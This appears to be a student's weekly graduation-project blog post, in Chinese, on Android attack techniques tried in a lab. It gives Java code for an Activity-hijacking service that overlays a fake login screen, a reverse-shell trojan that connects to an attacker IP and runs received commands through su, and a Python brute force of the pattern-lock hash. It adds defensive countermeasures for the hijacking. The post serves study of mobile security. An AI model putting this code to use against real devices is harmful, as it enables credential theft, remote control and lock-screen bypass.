20165320 第五周 毕业设计总结

20165320 毕业设计 第五周总结

任务及完成情况

周一 周二 周三 周四 周五 周六 周天
Android系统安全机制学习
Activity劫持原理的学习
Activity劫持实现
反向Shell后门原理学习
编写一个简单的后门Shell
破解Android系统中的图案锁
撰写总结博客
已完成
已完成
已完成
已完成
已完成
已完成
已完成

内容总结

二、Activity劫持原理

1、简介
  • Activity组件是Android四大组件中与用户交互最频繁的组件,作为Android应用的显示载体,其存在的安全隐患是最值得注意的,Activity劫持攻击就是这一组件存在的安全风险。

  • Activity劫持是基于Activity所在任务及返回栈相关属性进行劫持的一种手段.通过一定的属性设计,可以实现Activity在不同任务之间的转移及覆盖等行为。

  • 在进行安卓APP开发过程中,如果在启动一个Activity时,给他加入一个标志位FLAG_ACTIVITY_NEW_TASK,就能使他置于栈顶并立马呈现给用户。在Android系统当中,程序可以枚举当前运行的进程而不需要声明其他权限,这样子我们就可以写一个程序,启动一个后台的服务,这个服务不断地扫描当前运行的进程,当发现目标进程启动时,就启动一个伪装的Activity,如果用户在虚假的Activity中输入了用户名密码等个人信息,就可能被窃取。

2、常见攻击手段
  • 监听系统Logocat日志,一旦监听到发生Activity界面切换行为,即进行攻击,覆盖上假冒Activity界面实施欺骗。
  • 监听系统API,一旦恶意程序监听到相关界面的API组件调用,即可发起攻击。
  • 5.0以下机型枚举获取栈顶Activity,监控到目标Activity出现,即可发起攻击。
  • 恶意启动Service监听目标应用,在切换到目标Activity时,弹出对话框劫持当前界面迷惑用户。
3、代码实现
  • 具体实现采用的攻击手段为恶意启动Service监听目标应用,在切换到目标Activity时,弹出对话框劫持当前界面迷惑用户。核心代码如下:

          //我们新建一个Runnable对象,每隔200ms进行一次搜索
      Runnable searchTarget = new Runnable() {
          @Override
          public void run() {
              //得到ActivityManager
              ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
              //通过ActivityManager将当前正在运行的进程存入processInfo中
              List<ActivityManager.RunningAppProcessInfo> processInfo = activityManager.getRunningAppProcesses();
              
              //遍历processInfo中的进程信息,看是否有我们的目标
              for (ActivityManager.RunningAppProcessInfo _processInfo : processInfo) {
                  //若processInfo中的进程正在前台且是我们的目标进程,则调用hijack方法进行劫持
                  if (_processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
                      if (targetMap.containsKey(_processInfo.processName)) {
                          // 调用hijack方法进行劫持
                          hijack(_processInfo.processName);
                      } 
                  }
              }
              handler.postDelayed(searchTarget, 200);
          }
      };
    
      //进行Activity劫持的函数
      private  void hijack(String processName) {
          //这里判断我们的目标程序是否已经被劫持过了
          if (((EvilApplication) getApplication())
                  .hasProgressBeHijacked(processName) == false) {
              
              Intent intent = new Intent(getBaseContext(),
                      targetMap.get(processName));
              //这里必须将flag设置为Intent.FLAG_ACTIVITY_NEW_TASK,这样才能将我们伪造的Activity至于栈顶
              intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
              //启动我们伪造的Activity
              getApplication().startActivity(intent);
              //将目标程序加入到已劫持列表中
              ((EvilApplication) getApplication()).addHijacked(processName);
              
          }
      }
      @Override
      public void onStart(Intent intent, int startId) {
          super.onStart(intent, startId);
          if (!isStart) {
              //将我们的目标加入targetMap中
              //这里,key为我们的目标进程,value为我们伪造的Activity
              targetMap.put("com.droider.crackme0201",
                      FakeMainActivity.class);
              //启动searchTarget
              handler.postDelayed(searchTarget, 1000);
              isStart = true;
          }
      }
    
  • 运行效果如下:

4、防护措施
  • 针对用户:Android手机均有一个HOME键,长按可以查看到近期任务。用户在要输入密码进行登录时,可以通过长按HOME键查看近期任务。但是在针对设置Android:excludeFromRecents的值为true的ACtivity时,程序在运行时就不会显示在最近运行过的程序列表中,这种检测方式也就没有效果了。

  • 针对开发人员:

    • 在登录窗口或者用户隐私输入等关键Activity的onPause方法中检测最前端Activity应用是不是自身或者是系统应用,如果发现恶意风险,则给用户一些警示信息,提示用户其登陆界面以被覆盖,并给出覆盖正常Activity的类名。
    • 在 Acitivity 的 onStop 方法中 调用封装的 AntiHijackingUtil 类(检测系统程序白名单)检测程序是否被系统程序覆盖。
    • 在前面建立的正常Activity的登陆界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,判断程序进入后台是否是用户自身造成的(触摸返回键或 HOME 键)这样一来,当其被覆盖时,就能够弹出警示信息。

三、Android后门shell

1、简介
  • 计算机病毒非常流行,随着智能手机的发展,能够感染智能手机的移动恶意软件也在增加,Android系统具有开放性,一些敏感的AIP对于开发人员也是开放的。

  • 恶意软件的一些行为特征:

    • 窃取个人信息,并发送到攻击者的服务器上。
    • root设备。
    • 使攻击者获得远程控制权限。
    • 未经用户允许安装应用。
2、Socket原理

3、实现一个简单的Android端反向Shell
  • 之前大三的时候,娄老师曾经教过我们关于Socket套接字的使用,然后利用网络对抗课程中刘老师提供给我们的nc程序,通过Socket编写一个简单的反向shell木马,实现过程如下:

  • 首先为了避免在主线程执行网络任务,创建一个线程,因为当应用在主线程执行网络任务时,可能会导致应用崩溃。从Android4.4开始,会抛出运行异常。

          Thread thread = new Thread(){
          @Override
          public void run(){
              //线程逻辑
          }
      }
    
  • 声明攻击者服务器的IP和端口号,建立Socket连接。

      String SERVERIP = "192.168.1.7";   //根据实际情况修改IP
    int PORT = 1337; //端口号
      try {
                  InetAddress HOST = InetAddress.getByName(SERVERIP);
                  Socket socket = new Socket(HOST,PORT);
                  // 建立连接
                  ·······
      }
    
  • 实例化PrintWriter和BufferedReader对象。out对象用于将指令的输出结果发送给攻击者,in对象用于接收攻击者的命令.

      PrintWriter out;
    BufferedReader in;
    out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(socket.getOutputStream())), true);
    in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
    
  • 使用InputStreamReader对象读取字符串输入,即攻击者输入的Shell指令。

  • Java中的exec()方法用于运行系统指令,Command用于存储攻击者指令的字符串变量,指令通过Android设备上的/system/bin/sh二进制文件执行。

      Process process = Runtime.getRuntime().exec(new String[]{"/system/bin/su", "-c", command});
    
  • 使用output对象来存放执行攻击命令后得到的系统输出。

      int read;
    char[] buffer = new char[4096];
    StringBuffer output = new StringBuffer();
    while ((read = reader.read(buffer)) > 0) {
    output.append(buffer,0, read);
    }
    
  • 将output对象转换成一个格式化的字符串。

      String commandoutput = output.toString();
    
  • 向攻击者Shell写入输出数据。

      if(out != null && !out.checkError()){
              out.println(commandoutput);
              out.flush();
          }
      }
    
  • 运行时首先打开nc程序的监听:

  • 模拟器中打开APP运行,获得一个shell连接,输入命令执行:

4、总结
  • 通过Socket可以获得一个Android设备上的反向shell,但是shell的权限与应用程序的权限一样,如果设备没有root,能够获得的信息将非常有限,体现了Android的沙箱保护机制。

四、Android图案锁的破解

1、简介
  • Android目前支持的锁屏密码主要有两种,一种是手势密码,也就是常见的九宫格,一种是输入密码,分为PIN密码和复杂字符密码,这里以手势密码为例。

  • Android系统中的手势图案锁由九个点构成,设定图案需满足三个要求:

    • 至少四个点
    • 最多九个点
    • 无重复点
  • 每一个点都对应一个字节的数据:

  • 设定图案顺序后,按照图案对应的数据转换成字节数组进行排列,然后使用SHA-1算法计算哈希值,存储在设备的/data/system/gesture.key文件中,利用上一小节生成的shell程序可以查看到该文件的内容:

2、破解思路
  • 穷举所有的数字串,生成至少四个数据点作为原数据,使用SHA-1算法生成哈希值,与gesture.key文件进行比对。核心代码如下:

      for i in range(0,9):
      str_temp='0'+str(i)
      matrix.append(str_temp)
      min_num=4
      max_num=len(matrix)   //  将00~08的字符进行排列,至少取4个数排列
      
      for num in range(min_num,max_num+1):
          iter1 = itertools.permutations(matrix,num)   //从9个数据中挑n个排列
          
          list_m=[]
          list_m.append(list(iter1))
          for el in list_m[0]:      // 遍历
                  strlist = ''.join(el)
                  strlist_sha1 = hashlib.sha1(bytes.fromhex(strlist)).hexdigest()   //对字符串进行SHA-1加密
                  if pswd_hex == strlist_sha1 :   //比对SHA-1值
                      print('解锁密码为:',strlist)
    
3、运行结果如下:

待解决的问题&下周的计划

问题:

  • 这一周开始Android应用安全方面的学习,但是对于整个课题还是存在很大的疑惑,最后能实现针对一个APP的攻击,然后实现防护方案,那么我就朝着这个最后的目标走吧。

下周的计划

  • 实现基于Android的应用攻击,主要包括静态恶意代码注入,动态调试Smail代码,Hook。

  • 记录学习过程,汇总相关知识。

posted @ 2020-04-04 09:51  Gst丶Paul  阅读(108)  评论(0编辑  收藏